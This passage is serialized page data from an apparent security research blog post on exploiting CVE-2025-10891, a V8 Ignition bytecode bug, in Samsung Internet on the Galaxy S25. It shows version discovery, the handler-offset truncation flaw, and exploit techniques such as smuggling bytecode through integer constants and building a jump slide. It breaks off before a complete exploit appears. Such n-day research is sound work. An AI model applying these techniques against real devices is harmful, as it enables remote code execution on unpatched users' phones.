,[],[136636],{"type":29,"value":8356},{"type":29,"value":8358},{"type":24,"tag":80,"props":136639,"children":136641},{"className":136640},[],[136642],{"type":29,"value":8364},{"type":29,"value":8366},{"type":24,"tag":80,"props":136645,"children":136647},{"className":136646},[],[136648],{"type":29,"value":8372},{"type":29,"value":87},{"type":24,"tag":25,"props":136651,"children":136652},{},[136653,136654,136659,136660],{"type":29,"value":8378},{"type":24,"tag":80,"props":136655,"children":136657},{"className":136656},[],[136658],{"type":29,"value":8384},{"type":29,"value":8386},{"type":24,"tag":8388,"props":136661,"children":136662},{},[],{"type":24,"tag":8392,"props":136664,"children":136665},{"author-name":8394,"date":8395,"duration":8396,"handle":8397,"media-mime-type":8398,"media-src":8399,"media-type":8400,"tweet-url":8401},[136666,136670,136674],{"type":24,"tag":25,"props":136667,"children":136668},{},[136669],{"type":29,"value":8407},{"type":24,"tag":25,"props":136671,"children":136672},{},[136673],{"type":29,"value":8412},{"type":24,"tag":25,"props":136675,"children":136676},{},[136677],{"type":29,"value":8417},{"type":24,"tag":8388,"props":136679,"children":136680},{},[],{"type":24,"tag":25,"props":136682,"children":136683},{},[136684,136685,136690,136691,136696],{"type":29,"value":8425},{"type":24,"tag":80,"props":136686,"children":136688},{"className":136687},[],[136689],{"type":29,"value":8431},{"type":29,"value":8433},{"type":24,"tag":2773,"props":136692,"children":136694},{"href":8436,"rel":136693},[2777],[136695],{"type":29,"value":8440},{"type":29,"value":87},{"type":24,"tag":25,"props":136698,"children":136699},{},[136700,136701,136706],{"type":29,"value":8446},{"type":24,"tag":2773,"props":136702,"children":136704},{"href":8449,"rel":136703},[2777],[136705],{"type":29,"value":8453},{"type":29,"value":8455},{"type":24,"tag":32,"props":136708,"children":136709},{"id":8458},[136710],{"type":29,"value":8461},{"type":24,"tag":25,"props":136712,"children":136713},{},[136714],{"type":29,"value":8466},{"type":24,"tag":25,"props":136716,"children":136717},{},[136718],{"type":29,"value":8471},{"type":24,"tag":8473,"props":136720,"children":136721},{},[136722],{"type":29,"value":8477},{"title":7,"searchDepth":160,"depth":160,"links":136724},[136725,136728,136731,136740],{"id":18,"depth":160,"text":36,"children":136726},[136727],{"id":45,"depth":169,"text":48},{"id":70,"depth":160,"text":73,"children":136729},[136730],{"id":85,"depth":169,"text":85},{"id":2793,"depth":160,"text":2796,"children":136732},[136733,136734,136735,136736,136737,136738,136739],{"id":2809,"depth":169,"text":2812},{"id":4353,"depth":169,"text":4356},{"id":5153,"depth":169,"text":5156},{"id":5559,"depth":169,"text":5562},{"id":5777,"depth":169,"text":5780},{"id":5986,"depth":169,"text":5989},{"id":8297,"depth":169,"text":8300},{"id":8458,"depth":160,"text":8461},{"_path":136742,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":136743,"description":136744,"date":136745,"author":136746,"image":136749,"isFeatured":16,"onBlogPage":16,"tags":136751,"body":136754,"_type":8496,"_id":146662,"_source":8498,"_file":146663,"_stem":146664,"_extension":8501},"/blog/2026-04-01-patch-gap-to-mobile-renderer-rce","Patch Gap to Mobile Renderer RCE: Pwning Samsung Internet's V8 on the Galaxy S25","Samsung Internet on the Galaxy S25 shipped a six-month-old version of V8, exposing it to publicly known bugs. Learn how we exploited a bytecode interpreter vulnerability to achieve renderer RCE and universal XSS in the browser.","2026-04-01T12:00:00.000Z",[11,136747,136748],"jamie","william",{"src":136750,"width":14,"height":15},"/posts/mobile-renderer-rce/title.png",[136752,136753],"RCE","mobile",{"type":21,"children":136755,"toc":146642},[136756,136760,136765,136779,136785,136799,136820,136828,136841,136849,136862,136868,136881,136895,136901,136915,137018,137023,137031,137036,137041,137062,137140,137148,137167,137180,137186,137192,137206,137322,137327,137332,137340,137345,137353,137381,137410,137422,137598,137603,137611,137630,137643,137649,137669,137683,137688,137693,137721,137757,137826,137832,137854,137859,137867,137880,137885,137893,137898,137937,137943,137956,137961,138139,138149,138157,138177,138201,138214,138220,138225,138867,138872,138880,138922,140911,140916,140924,140930,140963,140981,141151,141209,141234,141328,141333,142124,142129,142137,142148,144192,144197,144205,144211,144233,144247,144260,144272,144302,144307,144748,144776,144883,144900,145057,145062,145074,145370,145396,145419,145551,145563,145568,145720,145756,145769,145774,145896,145937,146014,146019,146593,146599,146611,146624,146628,146633,146638],{"type":24,"tag":32,"props":136757,"children":136758},{"id":34617},[136759],{"type":29,"value":34620},{"type":24,"tag":25,"props":136761,"children":136762},{},[136763],{"type":29,"value":136764},"The supply chain dependency in today's software landscape is extremely complex. Any vulnerability in a core library creates an exploitable window for its dependents - maintainers either fall behind on the exhausting update schedule, backport incorrectly, or even forget about it entirely.",{"type":24,"tag":25,"props":136766,"children":136767},{},[136768,136770,136777],{"type":29,"value":136769},"One such example is V8, a JavaScript engine used ubiquitously in Chromium and Node.js-based software. In collaboration with the ",{"type":24,"tag":2773,"props":136771,"children":136774},{"href":136772,"rel":136773},"https://cor.team",[2777],[136775],{"type":29,"value":136776},"Crusaders of Rust",{"type":29,"value":136778}," Security Research Group, we decided to analyze the version of V8 in Samsung Internet (the default browser on Samsung phones) on a Samsung Galaxy S25 in hopes of an n-day exploitation opportunity.",{"type":24,"tag":43,"props":136780,"children":136782},{"id":136781},"finding-the-v8-version",[136783],{"type":29,"value":136784},"Finding the V8 Version",{"type":24,"tag":25,"props":136786,"children":136787},{},[136788,136790,136797],{"type":29,"value":136789},"We started by pulling Samsung Internet's APK from the device over ",{"type":24,"tag":2773,"props":136791,"children":136794},{"href":136792,"rel":136793},"https://developer.android.com/tools/adb",[2777],[136795],{"type":29,"value":136796},"adb",{"type":29,"value":136798}," and inspecting the libraries it shipped with.",{"type":24,"tag":25,"props":136800,"children":136801},{},[136802,136804,136810,136812,136818],{"type":29,"value":136803},"After extracting the APK, we searched the ",{"type":24,"tag":80,"props":136805,"children":136807},{"className":136806},[],[136808],{"type":29,"value":136809},"lib/",{"type":29,"value":136811}," directory for ",{"type":24,"tag":80,"props":136813,"children":136815},{"className":136814},[],[136816],{"type":29,"value":136817},"v8::*",{"type":29,"value":136819}," symbols:",{"type":24,"tag":137,"props":136821,"children":136823},{"code":136822},"$ grep -r 'v8::' lib/\ngrep: lib/arm64-v8a/libterrace.so: binary file matches\n",[136824],{"type":24,"tag":80,"props":136825,"children":136826},{"__ignoreMap":7},[136827],{"type":29,"value":136822},{"type":24,"tag":25,"props":136829,"children":136830},{},[136831,136833,136839],{"type":29,"value":136832},"Only one file matched our search: ",{"type":24,"tag":80,"props":136834,"children":136836},{"className":136835},[],[136837],{"type":29,"value":136838},"libterrace.so",{"type":29,"value":136840},". We then loaded it into a decompiler to inspect it more closely, which is where we found the bundled V8 version:",{"type":24,"tag":25,"props":136842,"children":136843},{},[136844],{"type":24,"tag":63,"props":136845,"children":136848},{"alt":136846,"src":136847},"image1","/posts/mobile-renderer-rce/image1.png",[],{"type":24,"tag":25,"props":136850,"children":136851},{},[136852,136854,136860],{"type":29,"value":136853},"Surprisingly, this ",{"type":24,"tag":80,"props":136855,"children":136857},{"className":136856},[],[136858],{"type":29,"value":136859},"13.6.233.10",{"type":29,"value":136861}," version was already six months old at the time, with multiple publicly known bugs affecting it.",{"type":24,"tag":43,"props":136863,"children":136865},{"id":136864},"choosing-the-bug",[136866],{"type":29,"value":136867},"Choosing the Bug",{"type":24,"tag":25,"props":136869,"children":136870},{},[136871,136873,136879],{"type":29,"value":136872},"We were able to trigger a couple of bugs on our locally compiled ",{"type":24,"tag":80,"props":136874,"children":136876},{"className":136875},[],[136877],{"type":29,"value":136878},"d8",{"type":29,"value":136880}," matching the target version. One of them was CVE-2025-5419 - a store-store elimination bug that we managed to get working on the device. However, exploitation required heap spraying, which would present significant stability issues when porting to the phone.",{"type":24,"tag":25,"props":136882,"children":136883},{},[136884,136886,136893],{"type":29,"value":136885},"Another one was ",{"type":24,"tag":2773,"props":136887,"children":136890},{"href":136888,"rel":136889},"https://issuetracker.google.com/issues/443875388",[2777],[136891],{"type":29,"value":136892},"CVE-2025-10891",{"type":29,"value":136894}," - a bug in the Ignition bytecode interpreter. This one was attractive as bytecode is treated as trusted under the V8 sandbox model, meaning that a separate Übercage bypass would not be required. Given this, we decided to explore this bug further.",{"type":24,"tag":32,"props":136896,"children":136898},{"id":136897},"ignition-bytecode-introduction",[136899],{"type":29,"value":136900},"Ignition Bytecode Introduction",{"type":24,"tag":25,"props":136902,"children":136903},{},[136904,136906,136913],{"type":29,"value":136905},"V8 initially compiles all JS code to a bytecode format with the ",{"type":24,"tag":2773,"props":136907,"children":136910},{"href":136908,"rel":136909},"https://v8.dev/blog/ignition-interpreter",[2777],[136911],{"type":29,"value":136912},"Ignition",{"type":29,"value":136914}," interpreter.\nThis is a simple register-based VM with fixed size opcodes (and prefix bytes to increase operand width). For instance:",{"type":24,"tag":137,"props":136916,"children":136918},{"code":136917,"language":36966,"meta":7,"className":36964,"style":7},"let a = 1;\nlet b = 0x0fff;\nlet c = 0x0fffffff;\nlet d = 0xffffffff;\n",[136919],{"type":24,"tag":80,"props":136920,"children":136921},{"__ignoreMap":7},[136922,136945,136969,136993],{"type":24,"tag":147,"props":136923,"children":136924},{"class":149,"line":150},[136925,136929,136933,136937,136941],{"type":24,"tag":147,"props":136926,"children":136927},{"style":218},[136928],{"type":29,"value":17406},{"type":24,"tag":147,"props":136930,"children":136931},{"style":247},[136932],{"type":29,"value":95419},{"type":24,"tag":147,"props":136934,"children":136935},{"style":241},[136936],{"type":29,"value":651},{"type":24,"tag":147,"props":136938,"children":136939},{"style":705},[136940],{"type":29,"value":10147},{"type":24,"tag":147,"props":136942,"children":136943},{"style":235},[136944],{"type":29,"value":432},{"type":24,"tag":147,"props":136946,"children":136947},{"class":149,"line":160},[136948,136952,136956,136960,136965],{"type":24,"tag":147,"props":136949,"children":136950},{"style":218},[136951],{"type":29,"value":17406},{"type":24,"tag":147,"props":136953,"children":136954},{"style":247},[136955],{"type":29,"value":96293},{"type":24,"tag":147,"props":136957,"children":136958},{"style":241},[136959],{"type":29,"value":651},{"type":24,"tag":147,"props":136961,"children":136962},{"style":705},[136963],{"type":29,"value":136964}," 0x0fff",{"type":24,"tag":147,"props":136966,"children":136967},{"style":235},[136968],{"type":29,"value":432},{"type":24,"tag":147,"props":136970,"children":136971},{"class":149,"line":169},[136972,136976,136980,136984,136989],{"type":24,"tag":147,"props":136973,"children":136974},{"style":218},[136975],{"type":29,"value":17406},{"type":24,"tag":147,"props":136977,"children":136978},{"style":247},[136979],{"type":29,"value":43043},{"type":24,"tag":147,"props":136981,"children":136982},{"style":241},[136983],{"type":29,"value":651},{"type":24,"tag":147,"props":136985,"children":136986},{"style":705},[136987],{"type":29,"value":136988}," 0x0fffffff",{"type":24,"tag":147,"props":136990,"children":136991},{"style":235},[136992],{"type":29,"value":432},{"type":24,"tag":147,"props":136994,"children":136995},{"class":149,"line":178},[136996,137000,137005,137009,137014],{"type":24,"tag":147,"props":136997,"children":136998},{"style":218},[136999],{"type":29,"value":17406},{"type":24,"tag":147,"props":137001,"children":137002},{"style":247},[137003],{"type":29,"value":137004}," d",{"type":24,"tag":147,"props":137006,"children":137007},{"style":241},[137008],{"type":29,"value":651},{"type":24,"tag":147,"props":137010,"children":137011},{"style":705},[137012],{"type":29,"value":137013}," 0xffffffff",{"type":24,"tag":147,"props":137015,"children":137016},{"style":235},[137017],{"type":29,"value":432},{"type":24,"tag":25,"props":137019,"children":137020},{},[137021],{"type":29,"value":137022},"compiles to",{"type":24,"tag":137,"props":137024,"children":137026},{"code":137025}," # Load the Smi `1` into the accumulator\n 0 : 0d 01             LdaSmi [1]\n # Store it to register 0\n 2 : ce                Star0\n # Load the 2-byte Smi `0xfff` into acc\n 3 : 00 0d ff 0f       LdaSmi.Wide [4095]\n # Store it to register 1\n 7 : cd                Star1\n # Load the 4-byte Smi `0xfffffff` into acc\n 8 : 01 0d ff ff ff 0f LdaSmi.ExtraWide [268435455]\n # Store it to register 2\n14 : cc                Star2\n# `0xffffffff` doesn't fit into an Smi, so a `HeapNumber` is allocated in the function's constant pool and loaded\n15 : 13 00             LdaConstant [0]\n# Store it to register 3\n17 : cb                Star3\n18 : 0e                LdaUndefined\n19 : b3                Return\n",[137027],{"type":24,"tag":80,"props":137028,"children":137029},{"__ignoreMap":7},[137030],{"type":29,"value":137025},{"type":24,"tag":25,"props":137032,"children":137033},{},[137034],{"type":29,"value":137035},"Ignition bytecode is then passed through the Sparkplug, Maglev, and Turbofan JIT compilers depending on the required amount of optimization. Yes, V8 has FOUR compilers, all so that slop devs can continue \"engineering\" their RAM-hungry, CPU-draining web apps that have plagued the modern internet.",{"type":24,"tag":43,"props":137037,"children":137039},{"id":137038},"cve-2025-10891",[137040],{"type":29,"value":136892},{"type":24,"tag":25,"props":137042,"children":137043},{},[137044,137046,137052,137054,137060],{"type":29,"value":137045},"The bug is in the handling of try/catch blocks. These are encoded in a function as a list of ",{"type":24,"tag":80,"props":137047,"children":137049},{"className":137048},[],[137050],{"type":29,"value":137051},"[start, end) => handler",{"type":29,"value":137053}," offsets - if an exception is thrown in the given bytecode address range, ",{"type":24,"tag":80,"props":137055,"children":137057},{"className":137056},[],[137058],{"type":29,"value":137059},"handler",{"type":29,"value":137061}," is jumped to.",{"type":24,"tag":137,"props":137063,"children":137065},{"code":137064,"language":36966,"meta":7,"className":36964,"style":7},"try {\n  throw 1;\n} catch {\n  let b = 2;\n}\n",[137066],{"type":24,"tag":80,"props":137067,"children":137068},{"__ignoreMap":7},[137069,137080,137095,137110,137133],{"type":24,"tag":147,"props":137070,"children":137071},{"class":149,"line":150},[137072,137076],{"type":24,"tag":147,"props":137073,"children":137074},{"style":321},[137075],{"type":29,"value":53930},{"type":24,"tag":147,"props":137077,"children":137078},{"style":235},[137079],{"type":29,"value":6630},{"type":24,"tag":147,"props":137081,"children":137082},{"class":149,"line":160},[137083,137087,137091],{"type":24,"tag":147,"props":137084,"children":137085},{"style":321},[137086],{"type":29,"value":40802},{"type":24,"tag":147,"props":137088,"children":137089},{"style":705},[137090],{"type":29,"value":10147},{"type":24,"tag":147,"props":137092,"children":137093},{"style":235},[137094],{"type":29,"value":432},{"type":24,"tag":147,"props":137096,"children":137097},{"class":149,"line":169},[137098,137102,137106],{"type":24,"tag":147,"props":137099,"children":137100},{"style":235},[137101],{"type":29,"value":52473},{"type":24,"tag":147,"props":137103,"children":137104},{"style":321},[137105],{"type":29,"value":54010},{"type":24,"tag":147,"props":137107,"children":137108},{"style":235},[137109],{"type":29,"value":6630},{"type":24,"tag":147,"props":137111,"children":137112},{"class":149,"line":178},[137113,137117,137121,137125,137129],{"type":24,"tag":147,"props":137114,"children":137115},{"style":218},[137116],{"type":29,"value":13481},{"type":24,"tag":147,"props":137118,"children":137119},{"style":247},[137120],{"type":29,"value":96293},{"type":24,"tag":147,"props":137122,"children":137123},{"style":241},[137124],{"type":29,"value":651},{"type":24,"tag":147,"props":137126,"children":137127},{"style":705},[137128],{"type":29,"value":13560},{"type":24,"tag":147,"props":137130,"children":137131},{"style":235},[137132],{"type":29,"value":432},{"type":24,"tag":147,"props":137134,"children":137135},{"class":149,"line":187},[137136],{"type":24,"tag":147,"props":137137,"children":137138},{"style":235},[137139],{"type":29,"value":827},{"type":24,"tag":137,"props":137141,"children":137143},{"code":137142}," 0 : 1b ff f8          Mov \u003Ccontext>, r1\n # Start of try block\n # ---------------------------------\n 3 : 0d 01             LdaSmi [1]\n 5 : b1                Throw\n # ---------------------------------\n 6 : 10                LdaTheHole\n 7 : b0                SetPendingMessage\n # Start of catch handler\n 8 : 0d 02             LdaSmi [2]\n10 : ce                Star0\n11 : 0e                LdaUndefined\n12 : b3                Return\nHandler Table (size = 16)\n   from   to       hdlr (prediction,   data)\n  (   3,   6)  ->     6 (prediction=1, data=1)\n",[137144],{"type":24,"tag":80,"props":137145,"children":137146},{"__ignoreMap":7},[137147],{"type":29,"value":137142},{"type":24,"tag":25,"props":137149,"children":137150},{},[137151,137153,137158,137160,137165],{"type":29,"value":137152},"However, the ",{"type":24,"tag":80,"props":137154,"children":137156},{"className":137155},[],[137157],{"type":29,"value":137059},{"type":29,"value":137159}," offset is stored in a 28-bit bitfield. If the address of the ",{"type":24,"tag":80,"props":137161,"children":137163},{"className":137162},[],[137164],{"type":29,"value":54010},{"type":29,"value":137166}," block does not fit within 28 bits, it will be silently truncated. This will lead to a jump into a completely different part of the code - even in the middle of an instruction.",{"type":24,"tag":25,"props":137168,"children":137169},{},[137170,137172,137178],{"type":29,"value":137171},"One easy way to generate a large enough function, as suggested in the initial report, is to emit many ",{"type":24,"tag":80,"props":137173,"children":137175},{"className":137174},[],[137176],{"type":29,"value":137177},"yield*",{"type":29,"value":137179}," statements, as that drastically increases the size of the Ignition bytecode.",{"type":24,"tag":32,"props":137181,"children":137183},{"id":137182},"exploitation",[137184],{"type":29,"value":137185},"Exploitation",{"type":24,"tag":43,"props":137187,"children":137189},{"id":137188},"constant-smuggling",[137190],{"type":29,"value":137191},"Constant Smuggling",{"type":24,"tag":25,"props":137193,"children":137194},{},[137195,137197,137204],{"type":29,"value":137196},"Our initial approach to exploitation was inspired by the 'shellcode smuggling' ",{"type":24,"tag":2773,"props":137198,"children":137201},{"href":137199,"rel":137200},"https://blog.exodusintel.com/2024/01/19/google-chrome-v8-cve-2024-0517-out-of-bounds-write-code-execution/",[2777],[137202],{"type":29,"value":137203},"technique",{"type":29,"value":137205}," - when arbitrary read-write is achieved in browser exploits, we can often JIT compile a function like this:",{"type":24,"tag":137,"props":137207,"children":137209},{"code":137208,"language":36966,"meta":7,"className":36964,"style":7},"let a = -9.255963134931783e61;\nlet b = -9.255963134931783e61;\nlet c = -9.255963134931783e61;\nlet d = -9.255963134931783e61;\n",[137210],{"type":24,"tag":80,"props":137211,"children":137212},{"__ignoreMap":7},[137213,137241,137268,137295],{"type":24,"tag":147,"props":137214,"children":137215},{"class":149,"line":150},[137216,137220,137224,137228,137232,137237],{"type":24,"tag":147,"props":137217,"children":137218},{"style":218},[137219],{"type":29,"value":17406},{"type":24,"tag":147,"props":137221,"children":137222},{"style":247},[137223],{"type":29,"value":95419},{"type":24,"tag":147,"props":137225,"children":137226},{"style":241},[137227],{"type":29,"value":651},{"type":24,"tag":147,"props":137229,"children":137230},{"style":241},[137231],{"type":29,"value":1791},{"type":24,"tag":147,"props":137233,"children":137234},{"style":705},[137235],{"type":29,"value":137236},"9.255963134931783e61",{"type":24,"tag":147,"props":137238,"children":137239},{"style":235},[137240],{"type":29,"value":432},{"type":24,"tag":147,"props":137242,"children":137243},{"class":149,"line":160},[137244,137248,137252,137256,137260,137264],{"type":24,"tag":147,"props":137245,"children":137246},{"style":218},[137247],{"type":29,"value":17406},{"type":24,"tag":147,"props":137249,"children":137250},{"style":247},[137251],{"type":29,"value":96293},{"type":24,"tag":147,"props":137253,"children":137254},{"style":241},[137255],{"type":29,"value":651},{"type":24,"tag":147,"props":137257,"children":137258},{"style":241},[137259],{"type":29,"value":1791},{"type":24,"tag":147,"props":137261,"children":137262},{"style":705},[137263],{"type":29,"value":137236},{"type":24,"tag":147,"props":137265,"children":137266},{"style":235},[137267],{"type":29,"value":432},{"type":24,"tag":147,"props":137269,"children":137270},{"class":149,"line":169},[137271,137275,137279,137283,137287,137291],{"type":24,"tag":147,"props":137272,"children":137273},{"style":218},[137274],{"type":29,"value":17406},{"type":24,"tag":147,"props":137276,"children":137277},{"style":247},[137278],{"type":29,"value":43043},{"type":24,"tag":147,"props":137280,"children":137281},{"style":241},[137282],{"type":29,"value":651},{"type":24,"tag":147,"props":137284,"children":137285},{"style":241},[137286],{"type":29,"value":1791},{"type":24,"tag":147,"props":137288,"children":137289},{"style":705},[137290],{"type":29,"value":137236},{"type":24,"tag":147,"props":137292,"children":137293},{"style":235},[137294],{"type":29,"value":432},{"type":24,"tag":147,"props":137296,"children":137297},{"class":149,"line":178},[137298,137302,137306,137310,137314,137318],{"type":24,"tag":147,"props":137299,"children":137300},{"style":218},[137301],{"type":29,"value":17406},{"type":24,"tag":147,"props":137303,"children":137304},{"style":247},[137305],{"type":29,"value":137004},{"type":24,"tag":147,"props":137307,"children":137308},{"style":241},[137309],{"type":29,"value":651},{"type":24,"tag":147,"props":137311,"children":137312},{"style":241},[137313],{"type":29,"value":1791},{"type":24,"tag":147,"props":137315,"children":137316},{"style":705},[137317],{"type":29,"value":137236},{"type":24,"tag":147,"props":137319,"children":137320},{"style":235},[137321],{"type":29,"value":432},{"type":24,"tag":25,"props":137323,"children":137324},{},[137325],{"type":29,"value":137326},"These floating-point constants will compile to 8-byte constants inside the machine code (the last 2 of which are used to jump into the next constant).",{"type":24,"tag":25,"props":137328,"children":137329},{},[137330],{"type":29,"value":137331},"We'll use a similar principle here, although much more limited. With",{"type":24,"tag":137,"props":137333,"children":137335},{"code":137334},"let a = 0x0693bebe;\n",[137336],{"type":24,"tag":80,"props":137337,"children":137338},{"__ignoreMap":7},[137339],{"type":29,"value":137334},{"type":24,"tag":25,"props":137341,"children":137342},{},[137343],{"type":29,"value":137344},"We will compile the bytecode:",{"type":24,"tag":137,"props":137346,"children":137348},{"code":137347},"01 0d be be 93 06 LdaSmi.ExtraWide\n",[137349],{"type":24,"tag":80,"props":137350,"children":137351},{"__ignoreMap":7},[137352],{"type":29,"value":137347},{"type":24,"tag":25,"props":137354,"children":137355},{},[137356,137358,137364,137366,137372,137373,137379],{"type":29,"value":137357},"We can then jump to the 3rd byte (",{"type":24,"tag":80,"props":137359,"children":137361},{"className":137360},[],[137362],{"type":29,"value":137363},"0xbe",{"type":29,"value":137365},"), and gain 2 controlled bytes of execution, followed by ",{"type":24,"tag":80,"props":137367,"children":137369},{"className":137368},[],[137370],{"type":29,"value":137371},"0x93 0x02 - 0xf",{"type":29,"value":408},{"type":24,"tag":80,"props":137374,"children":137376},{"className":137375},[],[137377],{"type":29,"value":137378},"Jump +[2-15]",{"type":29,"value":137380},") to jump into the next constant.",{"type":24,"tag":25,"props":137382,"children":137383},{},[137384,137386,137392,137394,137400,137402,137408],{"type":29,"value":137385},"Note that the jump constant will change as the subsequent store instruction becomes longer due to storing to deeper registers. Storing to registers 1-15 resulted in simple one byte ",{"type":24,"tag":80,"props":137387,"children":137389},{"className":137388},[],[137390],{"type":29,"value":137391},"StarX",{"type":29,"value":137393}," instructions, registers 16-121 resulted in two bytes ",{"type":24,"tag":80,"props":137395,"children":137397},{"className":137396},[],[137398],{"type":29,"value":137399},"Star rX",{"type":29,"value":137401}," instructions, and the next batch resulted in 4 byte ",{"type":24,"tag":80,"props":137403,"children":137405},{"className":137404},[],[137406],{"type":29,"value":137407},"Star.ExtraWide rX",{"type":29,"value":137409}," instructions.",{"type":24,"tag":25,"props":137411,"children":137412},{},[137413,137415,137421],{"type":29,"value":137414},"With these short jumps, we can actually construct a massive jump slide of constants like ",{"type":24,"tag":80,"props":137416,"children":137418},{"className":137417},[],[137419],{"type":29,"value":137420},"0x8931111",{"type":29,"value":978},{"type":24,"tag":137,"props":137423,"children":137425},{"code":137424,"language":36966,"meta":7,"className":36964,"style":7},"let a206 = 0x8931111;\nlet a207 = 0x8931111;\nlet a208 = 0x8931111;\nlet a209 = 0x8931111;\nlet a210 = 0x8931111;\nlet a211 = 0x8931111;\nlet a212 = 0x8931111;\n",[137426],{"type":24,"tag":80,"props":137427,"children":137428},{"__ignoreMap":7},[137429,137454,137478,137502,137526,137550,137574],{"type":24,"tag":147,"props":137430,"children":137431},{"class":149,"line":150},[137432,137436,137441,137445,137450],{"type":24,"tag":147,"props":137433,"children":137434},{"style":218},[137435],{"type":29,"value":17406},{"type":24,"tag":147,"props":137437,"children":137438},{"style":247},[137439],{"type":29,"value":137440}," a206",{"type":24,"tag":147,"props":137442,"children":137443},{"style":241},[137444],{"type":29,"value":651},{"type":24,"tag":147,"props":137446,"children":137447},{"style":705},[137448],{"type":29,"value":137449}," 0x8931111",{"type":24,"tag":147,"props":137451,"children":137452},{"style":235},[137453],{"type":29,"value":432},{"type":24,"tag":147,"props":137455,"children":137456},{"class":149,"line":160},[137457,137461,137466,137470,137474],{"type":24,"tag":147,"props":137458,"children":137459},{"style":218},[137460],{"type":29,"value":17406},{"type":24,"tag":147,"props":137462,"children":137463},{"style":247},[137464],{"type":29,"value":137465}," a207",{"type":24,"tag":147,"props":137467,"children":137468},{"style":241},[137469],{"type":29,"value":651},{"type":24,"tag":147,"props":137471,"children":137472},{"style":705},[137473],{"type":29,"value":137449},{"type":24,"tag":147,"props":137475,"children":137476},{"style":235},[137477],{"type":29,"value":432},{"type":24,"tag":147,"props":137479,"children":137480},{"class":149,"line":169},[137481,137485,137490,137494,137498],{"type":24,"tag":147,"props":137482,"children":137483},{"style":218},[137484],{"type":29,"value":17406},{"type":24,"tag":147,"props":137486,"children":137487},{"style":247},[137488],{"type":29,"value":137489}," a208",{"type":24,"tag":147,"props":137491,"children":137492},{"style":241},[137493],{"type":29,"value":651},{"type":24,"tag":147,"props":137495,"children":137496},{"style":705},[137497],{"type":29,"value":137449},{"type":24,"tag":147,"props":137499,"children":137500},{"style":235},[137501],{"type":29,"value":432},{"type":24,"tag":147,"props":137503,"children":137504},{"class":149,"line":178},[137505,137509,137514,137518,137522],{"type":24,"tag":147,"props":137506,"children":137507},{"style":218},[137508],{"type":29,"value":17406},{"type":24,"tag":147,"props":137510,"children":137511},{"style":247},[137512],{"type":29,"value":137513}," a209",{"type":24,"tag":147,"props":137515,"children":137516},{"style":241},[137517],{"type":29,"value":651},{"type":24,"tag":147,"props":137519,"children":137520},{"style":705},[137521],{"type":29,"value":137449},{"type":24,"tag":147,"props":137523,"children":137524},{"style":235},[137525],{"type":29,"value":432},{"type":24,"tag":147,"props":137527,"children":137528},{"class":149,"line":187},[137529,137533,137538,137542,137546],{"type":24,"tag":147,"props":137530,"children":137531},{"style":218},[137532],{"type":29,"value":17406},{"type":24,"tag":147,"props":137534,"children":137535},{"style":247},[137536],{"type":29,"value":137537}," a210",{"type":24,"tag":147,"props":137539,"children":137540},{"style":241},[137541],{"type":29,"value":651},{"type":24,"tag":147,"props":137543,"children":137544},{"style":705},[137545],{"type":29,"value":137449},{"type":24,"tag":147,"props":137547,"children":137548},{"style":235},[137549],{"type":29,"value":432},{"type":24,"tag":147,"props":137551,"children":137552},{"class":149,"line":196},[137553,137557,137562,137566,137570],{"type":24,"tag":147,"props":137554,"children":137555},{"style":218},[137556],{"type":29,"value":17406},{"type":24,"tag":147,"props":137558,"children":137559},{"style":247},[137560],{"type":29,"value":137561}," a211",{"type":24,"tag":147,"props":137563,"children":137564},{"style":241},[137565],{"type":29,"value":651},{"type":24,"tag":147,"props":137567,"children":137568},{"style":705},[137569],{"type":29,"value":137449},{"type":24,"tag":147,"props":137571,"children":137572},{"style":235},[137573],{"type":29,"value":432},{"type":24,"tag":147,"props":137575,"children":137576},{"class":149,"line":205},[137577,137581,137586,137590,137594],{"type":24,"tag":147,"props":137578,"children":137579},{"style":218},[137580],{"type":29,"value":17406},{"type":24,"tag":147,"props":137582,"children":137583},{"style":247},[137584],{"type":29,"value":137585}," a212",{"type":24,"tag":147,"props":137587,"children":137588},{"style":241},[137589],{"type":29,"value":651},{"type":24,"tag":147,"props":137591,"children":137592},{"style":705},[137593],{"type":29,"value":137449},{"type":24,"tag":147,"props":137595,"children":137596},{"style":235},[137597],{"type":29,"value":432},{"type":24,"tag":25,"props":137599,"children":137600},{},[137601],{"type":29,"value":137602},"Those instructions result in:",{"type":24,"tag":137,"props":137604,"children":137606},{"code":137605},"00: LdaTrue;\n01: LdaTrue;\n02: Jump +8;  >------------+\n04: Star rX + LdaSmi ...   |\nv--------------------------+\n0a: LdaTrue;\n0b: LdaTrue;\n",[137607],{"type":24,"tag":80,"props":137608,"children":137609},{"__ignoreMap":7},[137610],{"type":29,"value":137605},{"type":24,"tag":25,"props":137612,"children":137613},{},[137614,137616,137622,137624,137628],{"type":29,"value":137615},"(The offset of ",{"type":24,"tag":80,"props":137617,"children":137619},{"className":137618},[],[137620],{"type":29,"value":137621},"Jump",{"type":29,"value":137623}," instructions is added to the ",{"type":24,"tag":8545,"props":137625,"children":137626},{},[137627],{"type":29,"value":76673},{"type":29,"value":137629}," of the instruction.)",{"type":24,"tag":25,"props":137631,"children":137632},{},[137633,137635,137641],{"type":29,"value":137634},"Now, 3 out of the 6 bytes in a ",{"type":24,"tag":80,"props":137636,"children":137638},{"className":137637},[],[137639],{"type":29,"value":137640},"LdaSmi.ExtraWide",{"type":29,"value":137642}," instruction are valid for merging into the smuggled arbitrary Ignition bytecode. This slide made exploit development a lot easier, as any additional code would cause the exception table to have new offsets.",{"type":24,"tag":43,"props":137644,"children":137646},{"id":137645},"exploit-goal",[137647],{"type":29,"value":137648},"Exploit Goal",{"type":24,"tag":25,"props":137650,"children":137651},{},[137652,137654,137660,137661,137667],{"type":29,"value":137653},"Initially we considered using ",{"type":24,"tag":80,"props":137655,"children":137657},{"className":137656},[],[137658],{"type":29,"value":137659},"Star",{"type":29,"value":10204},{"type":24,"tag":80,"props":137662,"children":137664},{"className":137663},[],[137665],{"type":29,"value":137666},"Ldar",{"type":29,"value":137668}," instructions to store to out-of-bounds register indexes, as registers are stored on the regular stack. However, with only 2 bytes we can only access +/- 0x7f registers, which does not allow us to go out of bounds enough to access interesting values.",{"type":24,"tag":25,"props":137670,"children":137671},{},[137672,137674,137681],{"type":29,"value":137673},"We realized that register offsets 0 and 1 contain the saved frame pointer and return address respectively. We considered using this to ",{"type":24,"tag":2773,"props":137675,"children":137678},{"href":137676,"rel":137677},"https://github.com/google/google-ctf/tree/main/2023/quals/sandbox-v8box/solution",[2777],[137679],{"type":29,"value":137680},"stack pivot and ROP",{"type":29,"value":137682},". However, there were numerous downsides - primarily, we would need multiple leaks of binary addresses and the JS heap (to 